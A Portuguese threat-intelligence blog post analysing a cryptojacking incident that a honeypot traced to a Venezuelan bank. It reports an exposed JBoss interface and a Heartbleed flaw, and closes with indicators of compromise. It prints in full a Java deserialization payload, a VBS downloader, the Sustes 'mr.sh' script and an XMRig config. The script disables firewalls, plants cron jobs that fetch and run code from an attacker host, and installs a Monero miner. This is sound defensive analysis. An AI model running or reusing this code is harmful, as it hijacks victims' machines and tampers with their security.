Banco Venezuelano e Criptomoedas (mas não do jeito certo)

Muito se fala sobre a adoção de tecnologia blockchain (amplamente utilizadas por criptomoedas) por instituições financeiras tradicionais. O Banco Venezolano de Crédito parece ser um precursor nessa iniciativa, mas a semelhança acaba aqui.

Na verdade, o Lab encontrou evidências de que a infraestrutura do Banco tem sido utilizada por elementos maliciosos para mineração de criptomoeda Monero.

Defesa Proativa

Uma defesa proativa monitora diferentes incidentes oriundas de diferentes fontes. O sistema de Monitoramento Avançado Persistente atua em várias frentes. Uma dessas frentes de defesa proativa é a observação do comportamento dos atacantes em ambiente real. Uma ótima solução para esse tipo de ação é a constituição de honeypots de média ou de alta interação.

O DefCon-Lab dispõe de honeynet em funcionamento. Recentemente registramos atividade direcionada a sensor que apresentou discrepância entre o comportamento observado e a a origem do incidente.

A tentativa de acesso a portas não convencionais em um servidor que não possui serviço anunciado, é por si indicador de atividade questionável. Uma ação observada de forma persistente nos últimos meses é a mineração de criptomoedas em algumas portas específicas.

Atividade Porta 3333

Em virtude disso, passamos a observar esse comportamento com maior atenção. Em um caso concreto, além de ação maliciosa, a origem da conexão foi determinante para que o sistema indicasse um alerta.

Incidente

O endereço IP 190.93.44.XX, do Banco Venezolano de Crédito, instituição financeira de médio porte da Venezuela, o qual possui 103 agências e mais de 7.000 funcionários, apresentou comportamento malicioso. Pela origem em uma instituição financeira, optamos por averiguar em maior detalhe o endereço IP referido.

Banco Venezolano – Área restrita de clientes

Whois do domínio: venezolano.com

Domain Name: VENEZOLANO.COM
[...]
Registry Registrant ID: 
Registrant Name: Venezolano de Credito, Banco Universal
Registrant Organization: Venezolano de Credito, Banco Universal
Registrant Street: Avenida Alameda, Torre VCBU, Piso 2
Registrant City: Caracas
Registrant State/Province: DF
Registrant Postal Code: 1010
Registrant Country: VE 
[...]

Em análise detalhada do endereço IP 190.93.44.XX observamos a presença de página de configuração JBoss acessível sem qualquer filtro de origem.

Banco Venezolano – JBossWS exposto para a Internet.
Banco Venezolano – Interface JBoss exposta para a internet.

Além disso, foi identificado no mesmo endereço a presença de HeartBleed, uma das vulnerabilidades mais notórias dos últimos anos (CVE 2014-0160).

Somente isso já seria algo inacreditável em se tratando de instituição financeira, na qual se presume preocupação com aspectos de segurança.

O detalhe mais impressionante foi observado na resposta do teste que confirmou a prova de conceito da vulnerabilidade.

$ ./heartbleed 190.93.44.XX:

...........@8..~R}.v%.Z..8/..GC.FR^...%..t.....490.86 Safari/537.36
Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue
Content-Length: 1346
....sr.2sun.reflect.annotation.AnnotationInvocationHandlerU.....~....L..memberValuest..Ljava/util/Map;L..typet..Ljava/lang/Class;xpsr.1org.apache.commons.collections.map.TransformedMapaw?.].Zp...L..keyTransformert.,Lorg/apache/commons/collections/Transformer;L..valueTransformerq.~..xppsr.:org.apache.commons.collections.functors.ChainedTransformer0...(ziTransformerst.-[Lorg/apache/commons/collections/Transformer;xpur.-[Lorg.apache.commons.collections.Transformer;.V*..4.....xp....sr.;org.apache.commons.collections.functors.ConstantTransformerXv..A......L..iConstantt..Ljava/lang/Object;xpvr..java.lang.Runtime...........xpsr.:org.apache.commons.collections.functors.InvokerTransformer...k{|.8...[..iArgst..[Ljava/lang/Object;L..iMethodNamet..Ljava/lang/String;[..iParamTypest..[Ljava/lang/Class;xpur..[Ljava.lang.Object;..X..s)l...xp....t.
getRuntimeur..[Ljava.lang.Class;......Z....xp....t..getMethoduq.~......vr..java.lang.String...8z;.B...xpvq.~..sq.~..uq.~......puq.~......t..invokeuq.~......vr..java.lang.Object...........xpvq.~..sq.~..uq.~......ur..[Ljava.lang.String;..V...{G...xp....t../bin/sht..-ct.8wget -q -O - http://158.69.133.18:8220/mr.sh | bash -sht..execuq.~......vq.~.*sr..java.util.HashMap......`....F.
does't matterxxvr..java.lang.annotation.Target...........xp..P&.k...c..L..[xpe..#...D].
`Z...i........> hu.vbs&@echo xPost.Send() >> hu.vbs&@echo        Set sGet = CreateObject(ADODB.Stream) >> hu.vbs&@echo sGet.Mode = 3 >> hu.vbs&@echo sGet.Type = 1 >> hu.vbs&@echo sGet.Open() >>hu.vbs&@echo sGet.Write(xPost.responseBody) >>hu.vbs&@echo sGet.SaveToFile ttte.exe,2 >>hu.vbs&@cscript hu.vbs&@taskkill /IM 3.exe&@taskkill /IM iee.exe&@taskkill /IM me.exe&@taskkill /IM iee.exe&@taskkill /IM ie.exe&@taskkill /IM xe.exe&@del hu.vbs&@start ttte.exe --donate-level=1 -k -a cryptonight -o 158.69.133.20:3333 -o 192.99.142.249:3333 -o 202.144.193.110:3333 -u 4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg -p xt..execuq.~......vq.~.*sr..java.util.HashMap......`....F.
does't matterxxvr..java.lang.annotation.Target...........xp.....Q...`._<x&R8

A resposta padrão da vulnerabilidade HeartBleed seria de trecho de código de aplicação web e cabeçalhos HTTP. Todavia, para a nossa surpresa, a resposta continha códigos shell script e chamadas para endereços IP na Internet, o que nos levou a inspecionar a resposta com maior cuidado.

A partir da resposta acima é possível observar a chamada “wget -q -O – http://158.69.133.18:8220/mr.sh”. Trata-se do malware conhecido como Sustes. A sua finalidade é utilizar o computador da vítima para minerar a moeda virtual Monero em proveito de terceiros. Nesse momento nós concluímos que se tratava de um cryptojacking, ataque no qual um agente malicioso utiliza secretamente o dispositivo da vítima para minerar criptomoeda.

O endereço IP de origem do minerador é conhecido por atividades maliciosas conforme se observa da análise X-Force.

O Sustes (mr.sh) é um script em shell que baixa artefatos adicionais para persistência e ocultação na máquina da vítima:

#!/bin/bash
mkdir /var/tmp
chattr -i /usr/bin/wget
chmod 755 /usr/bin/wget
chattr -i /usr/bin/curl
chmod 755 /usr/bin/curl
/etc/init.d/iptables stop
service iptables stop
SuSEfirewall2 stop
reSuSEfirewall2 stop
pkill -f sysxlj
pkill -f jourxlv
pkill -f sustes
touch /etc/ld.so.preload
netstat -antp | grep '56415' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '139.99.120.75' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
rm -rf /usr/lib/void.so
rm -rf /etc/voidonce.sh
rm -rf /usr/local/lib/libjdk.so
rm -rf /usr/local/lib/libntp.so
ps aux|grep "I2NvZGluZzogdXRmLTg"|grep -v grep|awk '{print $2}'|xargs kill -9
sed -i '$d' /etc/crontab
rm -rf /lib64/library1.so
rm -rf /usr/lib64/library1.so
iptables -I OUTPUT -s 167.99.166.61 -j DROP
iptables -I INPUT -s 167.99.166.61 -j DROP
iptables -I OUTPUT -p tcp -m string --string "pastebin" --algo bm -j DROP
iptables -I OUTPUT -p udp -m string --string "pastebin" --algo kmp -j DROP
rm -rf /etc/cron.monthly/oanacroner  
rm -rf /etc/cron.daily/oanacroner
rm -rf /etc/cron.hourly/oanacroner
rm -rf /usr/local/bin/dns
echo "" > /etc/crontab
echo "" > /etc/cron.d/root
echo "" > /etc/cron.d/apache
echo "" > /var/spool/cron/root
echo "" > /var/spool/cron/crontabs/root
chkconfig --del netdns
pkill -f netdns
echo "" > /etc/cron.d/system
chmod 777 /var/tmp
rm -rf /usr/local/bin/dns
rm -rf /usr/sbin/netdns
rm -rf /etc/init.d/netdns
rm -rf /etc/cron.monthly/oanacroner  
rm -rf /etc/cron.daily/oanacroner
rm -rf /etc/cron.hourly/oanacroner
chattr -i /usr/local/lib/libntpd.so
chmod 777 /usr/local/lib/libntpd.so
rm -rf /usr/local/lib/libntpd.so
sed -i '/libntpd.so/d'  /etc/ld.so.preload
crontab -l | sed '/pastebin.com/d' | crontab -
netstat -antp | grep '27.155.87.59' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '27.155.87.59' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'CLOSE_WAIT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '121.18.238.56' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '121.18.238.56' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '103.99.115.220' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '103.99.115.220' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
pkill -f /usr/bin/.sshd
netstat -antp | grep '158.69.133.20:3333'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
rm -rf /var/tmp/j*
rm -rf /tmp/j*
rm -rf /var/tmp/java
rm -rf /tmp/java
rm -rf /var/tmp/java2
rm -rf /tmp/java2
rm -rf /var/tmp/java*
rm -rf /tmp/java*
chattr -i /usr/lib/libiacpkmn.so.3 && rm -rf /usr/lib/libiacpkmn.so.3
chattr -i /etc/init.d/nfstruncate && rm -rf /etc/init.d/nfstruncate
rm -rf /etc/rc.d/rc*.d/S01nfstruncate /bin/nfstruncate
rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*index_bak*
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*httpd.conf
rm -rf /tmp/a7b104c270
rm -rf /tmp/.uninstall* /tmp/.python* /tmp/.tables* /tmp/.mas
rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
echo -e "*/1 * * * * root (curl -s http://158.69.133.18:8220/mr.sh||wget -q -O - http://158.69.133.18:8220/mr.sh)|bash -sh\n##" > /etc/cron.d/root
echo -e "*/2 * * * * root (curl -s http://158.69.133.18:8220/mr.sh||wget -q -O - http://158.69.133.18:8220/mr.sh)|bash -sh\n##" > /etc/cron.d/apache
echo -e "*/30 * * * *	(curl -s http://158.69.133.18:8220/mr.sh||wget -q -O - http://158.69.133.18:8220/mr.sh)|bash -sh\n##" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo -e "* * * * *	(curl -s http://158.69.133.18:8220/mr.sh||wget -q -O - http://158.69.133.18:8220/mr.sh)|bash -sh\n##" > /var/spool/cron/crontabs/root
mkdir -p /etc/cron.hourly
(curl -fsSL --connect-timeout 120 http://158.69.133.18:8220/11 -o /etc/cron.hourly/oanacroner1||http://158.69.133.18:8220/11 -O /etc/cron.hourly/oanacroner1) && chmod 755 /etc/cron.hourly/oanacroner1
chmod 777 /var/tmp/sustse
ps aux | grep -vw 'kworkerds\|sustse' | awk '{if($3>30.0) print $2}' | while read procid
do
kill -9 $procid
done
ps ax | grep /tmp/ | grep -v grep | grep -v 'kworkerds\|sustse\|kworkerds\|sustse\|ppl' | awk '{print $1}' | xargs kill -9
ps ax | grep 'wc.conf\|wq.conf\|wm.conf' | grep -v grep | grep -v 'kworkerds\|sustse\|kworkerds\|sustse\|ppl' | awk '{print $1}' | xargs kill -9
netstat -ant|grep '158.69.133.18:80\|192.99.142.249:3333\|202.144.193.110:3333'|grep 'ESTABLISHED'|grep -v grep
if [ $? -eq 0 ]
then
pwd
else
curl http://158.69.133.18:8220/2mr.sh | bash -sh
fi
sleep 2
netstat -ant|grep '158.69.133.18:80\|192.99.142.249:3333\|202.144.193.110:3333'|grep 'ESTABLISHED'|grep -v grep
if [ $? -eq 0 ]
then
pwd
else
curl http://158.69.133.18:8220/3mr.sh | bash -sh
fi
DIR="/var/tmp"
if [ -a "/var/tmp/sustse" ]
then
    if [ -w "/var/tmp/sustse" ] && [ ! -d "/var/tmp/sustse" ]
    then
        if [ -x "$(command -v md5sum)" ]
        then
            sum=$(md5sum /var/tmp/sustse | awk '{ print $1 }')
            echo $sum
            case $sum in
                042b0568a6e42ed3d4a5520ada926164 | 042b0568a6e42ed3d4a5520ada926164)
                    echo "sustse OK"
                ;;
                *)
                    echo "sustse wrong"
                    pkill -f wc.conf
                    pkill -f sustse
                    sleep 4
                ;;
            esac
        fi
        echo "P OK"
    else
        DIR=$(mktemp -d)/var/tmp
        mkdir $DIR
        echo "T DIR $DIR"
    fi
else
    if [ -d "/var/tmp" ]
    then
        DIR="/var/tmp"
    fi
    echo "P NOT EXISTS"
fi
if [ -d "/var/tmp/sustse" ]
then
    DIR=$(mktemp -d)/var/tmp
    mkdir $DIR
    echo "T DIR $DIR"
fi
WGET="wget -O"
if [ -s /usr/bin/curl ];
then
    WGET="curl -o";
fi
if [ -s /usr/bin/wget ];
then
    WGET="wget -O";
fi
f2="158.69.133.18:8220"

downloadIfNeed()
{
    if [ -x "$(command -v md5sum)" ]
    then
        if [ ! -f $DIR/sustse ]; then
            echo "File not found!"
            download
        fi
        sum=$(md5sum $DIR/sustse | awk '{ print $1 }')
        echo $sum
        case $sum in
            042b0568a6e42ed3d4a5520ada926164 | 042b0568a6e42ed3d4a5520ada926164)
                echo "sustse OK"
            ;;
            *)
                echo "sustse wrong"
                sizeBefore=$(du $DIR/sustse)
                if [ -s /usr/bin/curl ];
                then
                    WGET="curl -k -o ";
                fi
                if [ -s /usr/bin/wget ];
                then
                    WGET="wget --no-check-certificate -O ";
                fi
                #$WGET $DIR/sustse https://transfer.sh/wbl5H/sustse
                download
                sumAfter=$(md5sum $DIR/sustse | awk '{ print $1 }')
                if [ -s /usr/bin/curl ];
                then
                    echo "redownloaded $sum $sizeBefore after $sumAfter " `du $DIR/sustse` > $DIR/var/tmp.txt
                fi
            ;;
        esac
    else
        echo "No md5sum"
        download
    fi
}

download() {
    if [ -x "$(command -v md5sum)" ]
    then
        sum=$(md5sum $DIR/sustse3 | awk '{ print $1 }')
        echo $sum
        case $sum in
            042b0568a6e42ed3d4a5520ada926164 | 042b0568a6e42ed3d4a5520ada926164)
                echo "sustse OK"
                cp $DIR/sustse3 $DIR/sustse
            ;;
            *)
                echo "sustse wrong"
                download2
            ;;
        esac
    else
        echo "No md5sum"
        download2
    fi
}

download2() {
    if [ `getconf LONG_BIT` = "64" ]
    then
        $WGET $DIR/sustse http://158.69.133.18:8220/tte2
    fi

    if [ -x "$(command -v md5sum)" ]
    then
        sum=$(md5sum $DIR/sustse | awk '{ print $1 }')
        echo $sum
        case $sum in
            042b0568a6e42ed3d4a5520ada926164 | 042b0568a6e42ed3d4a5520ada926164)
                echo "sustse OK"
                cp $DIR/sustse $DIR/sustse3
            ;;
            *)
                echo "sustse wrong"
            ;;
        esac
    else
        echo "No md5sum"
    fi
}

judge() {
    if [ ! "$(netstat -ant|grep '158.69.133.18:80\|192.99.142.249:3333\|202.144.193.110:3333'|grep 'ESTABLISHED'|grep -v grep)" ];
    then
        ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid
	      do
	      kill -9 $procid
        done
        downloadIfNeed
        touch /var/tmp/123
        pkill -f /var/tmp/java
        pkill -f w.conf
        chmod +x $DIR/sustse
        $WGET $DIR/wc.conf http://$f2/wt.conf
        nohup $DIR/sustse -c $DIR/wc.conf > /dev/null 2>&1 &
        sleep 5
    else
       echo "Running"
    fi
}

judge2() {
    if [ ! "$(ps -fe|grep 'sustse'|grep 'wc.conf'|grep -v grep)" ];
    then
        downloadIfNeed
        chmod +x $DIR/sustse
        $WGET $DIR/wc.conf http://$f2/wt.conf
        nohup $DIR/sustse -c $DIR/wc.conf > /dev/null 2>&1 &
        sleep 5
    else
        echo "Running"
    fi
}

if [ ! "$(netstat -ant|grep 'LISTEN\|ESTABLISHED\|TIME_WAIT'|grep -v grep)" ];
then
    judge2
else
    judge
fi

if crontab -l | grep -q "158.69.133.18:8220"
then
    echo "Cron exists"
else
    crontab -r
    echo "Cron not found"
    LDR="wget -q -O -"
    if [ -s /usr/bin/curl ];
    then
        LDR="curl";
    fi
    if [ -s /usr/bin/wget ];
    then
        LDR="wget -q -O -";
    fi
	(crontab -l 2>/dev/null; echo "* * * * * $LDR http://158.69.133.18:8220/mr.sh | bash -sh > /dev/null 2>&1")| crontab -
fi
rm -rf /var/tmp/jrm
rm -rf /tmp/jrm
pkill -f 185.222.210.59
pkill -f 95.142.40.81
pkill -f 158.69.133.18
chmod 777 /var/tmp/sustse
crontab -l | sed '/185.222.210.59/d' | crontab -

Em busca pelo hash do arquivo no VirusTotal observou-se que esse artefato é conhecido pela comunidade de segurança da informação, tendo sido identificado por 20 das 57 ferramentas inspecionadas.

A partir do conteúdo do arquivo acima, foi possível acessar outros artefatos no endereço IP 158.69.133.18: 1.ps1, pic1.jpg, wc.json e wt.json.

O arquivo 1.ps1 (análise VT) é um rootkit para Linux, utilizado para escamotear a atividade do agente malicioso. O arquivo pic1.jpg (análise VT), ainda que possua extensão de imagem .jpg para evitar a detecção da sua real natureza, é um executável de Shell script.

Da análise do arquivo wc.json é possível observar que o atacante foi “generoso” ao configurar o uso de apenas 95% da capacidade de processamento do servidor (vide: “max-cpu-usage”: 95). Nenhuma surpresa nisso, pois parece seguir uma tendência de distribuição existente na Venezuela (muitos ficam com 5% e um sujeito com os 95% restantes 😈 ).

Como efeito colateral do apetite do atacante, essa taxa elevada de uso da CPU deve estar provocando uma percepção de lentidão por parte dos usuários dos sistemas do banco (os clientes!).

cat wc.json:

{
    "algo": "cryptonight",  // cryptonight (default) or cryptonight-lite
    "av": 0,                // algorithm variation, 0 auto select
    "background": true,    // true to run the miner in the background
    "colors": true,         // false to disable colored output    
    "cpu-affinity": null,   // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1
    "cpu-priority": 5,   // set process priority (0 idle, 2 normal to 5 highest)
    "donate-level": 1,      // donate level, mininum 1%
    "log-file": null,       // log all output to a file, example: "c:/some/path/xmrig.log"
    "max-cpu-usage": 95,    // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option.  
    "print-time": 60,       // print hashrate report every N seconds
    "retries": 5,           // number of times to retry before switch to backup server
    "retry-pause": 5,       // time to pause between retries
    "safe": false,          // true to safe adjust threads and av settings for current CPU
    "threads": null,        // number of miner threads
    "pools": [
        {
            "url": "158.69.133.18:80",   // URL of mining server
            "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg",                        // username for mining server
            "pass": "x",                       // password for mining server
            "keepalive": true,                 // send keepalived for prevent timeout (need pool support)
            "nicehash": false                  // enable nicehash/xmrig-proxy support
        },
        {
            "url": "192.99.142.249:3333",   // URL of mining server
            "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg",                        // username for mining server
            "pass": "x",                       // password for mining server
            "keepalive": true,                 // send keepalived for prevent timeout (need pool support)
            "nicehash": false                  // enable nicehash/xmrig-proxy support
        },
        {
            "url": "202.144.193.110:3333",   // URL of mining server
            "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg",                        // username for mining server
            "pass": "x",                       // password for mining server
            "keepalive": true,                 // send keepalived for prevent timeout (need pool support)
            "nicehash": false                  // enable nicehash/xmrig-proxy support
        }
    ],    
    "api": {
        "port": 0,                             // port for the miner API https://github.com/xmrig/xmrig/wiki/API
        "access-token": null,                  // access token for API
        "worker-id": null                      // custom worker-id for API
    }
}

Analisando o arquivo de configuração, é possível observar o software de mineração Cryptonight Mining Software, além de alguns endereços IP de servidores de mineração e da carteira Monero 4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg.

A seguir uma lista com detalhes de geolocalização dos endereços IP referenciados nos códigos acima:

IP Address Country Code Location ISP
158.69.133.18 CA Montreal,
Quebec,
Canada,
North America
OVH Hosting
192.99.142.249 CA Montreal,
Quebec,
Canada,
North America
OVH Hosting
192.99.142.232 CA Montreal,
Quebec,
Canada,
North America
OVH Hosting
192.99.142.226
CA Montreal,
Quebec,
Canada,
North America
OVH Hosting
202.144.193.110 US Los Angeles,
California,
United States,
North America
Thanchet Online Marketing
185.222.210.59 GB United Kingdom,
Europe
Cloud Core LP
95.142.40.81 RU Russia,
Europe
McHost.Ru
27.155.87.59 CN Fujian,
China,
Asia
China Telecom fujian
104.160.171.94 US Astoria,
New York,
United States,
North America
Sharktech
170.178.178.57 US Las Vegas,
Nevada,
United States,
North America
Sharktech
91.236.182.1 HU Hungary,
Europe
Rethem Hosting LLC
52.15.72.79 US Columbus,
Ohio,
United States,
North America
Amazon.com
52.15.62.13 US Columbus,
Ohio,
United States,
North America
Amazon.com
121.18.238.56 CN Nanjing,
Jiangsu,
China,
Asia
China Unicom Liaoning
103.99.115.220 US Los Angeles,
California,
United States,
North America
Cnservers LLC
158.69.133.20 CA Montreal,
Quebec,
Canada,
North America
OVH Hosting

Conclusão

O Banco Venezolano de Crédito aparenta um nível de segurança lamentável. A existência de uma vulnerabilidade antiga como o HeartBleed é inacreditável, sobretudo numa instituição financeira.

Além disso, o Sustes malware, utilizado no caso em análise, é um artefato conhecido pela comunidade de segurança da informação. Esse artefato de mineração aparenta estar ativo desde setembro de 2018, conforme se observa da seguinte publicação no Pastebin e demais indicadores de comprometimento citados.

Tais evidências demonstram que o ataque não foi sofisticado ou inovador. Utilizando-se, inclusive, de artefatos e infraestrutura notórios. São elementos que reforçam a imaturidade da instituição em termos de segurança.

Da análise é possível concluir que o Banco Venezolano de Crédito foi vítima nesse incidente. Por outro lado, seria razoável exigir que uma instituição financeira fosse mais comprometida com a segurança e prevenisse esse tipo de ação. Ao final, os clientes desse banco foram duplamente prejudicados: uma pelo ataque em si e outra pela desídia da instituição financeira.

Indicadores de Comprometimento (IoC):

Endereços IP:

  • 158.69.133.18
  • 192.99.142.249
  • 192.99.142.232
  • 192.99.142.226
  • 202.144.193.110
  • 185.222.210.59
  • 95.142.40.81
  • 27.155.87.59
  • 104.160.171.94
  • 170.178.178.57
  • 91.236.182.1
  • 52.15.72.79
  • 52.15.62.13
  • 121.18.238.56
  • 103.99.115.220
  • 158.69.133.20

Carteiras:

  • 4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg